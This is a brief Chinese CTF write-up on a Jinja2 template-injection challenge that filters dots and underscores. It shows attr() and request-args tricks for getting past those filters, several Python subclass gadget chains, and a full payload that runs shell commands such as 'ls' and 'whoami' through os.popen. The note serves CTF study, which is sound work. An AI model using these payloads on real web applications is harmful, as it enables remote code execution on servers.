这题SSTI。过滤了点和下划线
writeup在此https://www.gem-love.com/ctf/1799.html
膜拜dalao
首先用attr()
来绕过点。
|attr('__class__')==__class__
那么问题又来了。这道题又过滤了下划线。
这里我们可以通过request['arg']['a']
来获取传参中a的值
{{''|attr(request['args']['a'])}}&a=__class__
首先通过request['args']['a']获得传参中的值。
''|attr(request['args']['a'])==''|attr('__class__')
''|attr('__class__')==''.__class__
接下来就构造EXP了
常用的有
<class 'jinja2.runtime.Context'>
().__class__.__base__.__subclasses__().__getitem__(233).__init__.__globals__.__getitem__.__builtins__.__getitem__.(eval)('__import__("os").popen('ls').read()')
<class 'warnings.catch_warnings'>
[].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")
<class 'codecs.StreamReaderWriter'>
codecs下的模块都可以
().__class__.__base__.__subclasses__()[103].__init__.__globals__['sys'].modules["os"].popen('whoami').read()
在取列表当中的值时。如果键值是字符就要用__getitem__(request['args']['abc'])
来传参取值
x4=__getitem__
x1=eval
|attr(request['args']['x4'])[request['args']['x1']]=|attr(request['args']['x4'])['eval']
|attr(request['args']['x4'])[request['args']['x1']]=__getitem__['eval']
如果直接单纯的取数字类型。比如__subclasses__()[103]
那么直接__getitem__(103)即可
{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls').read()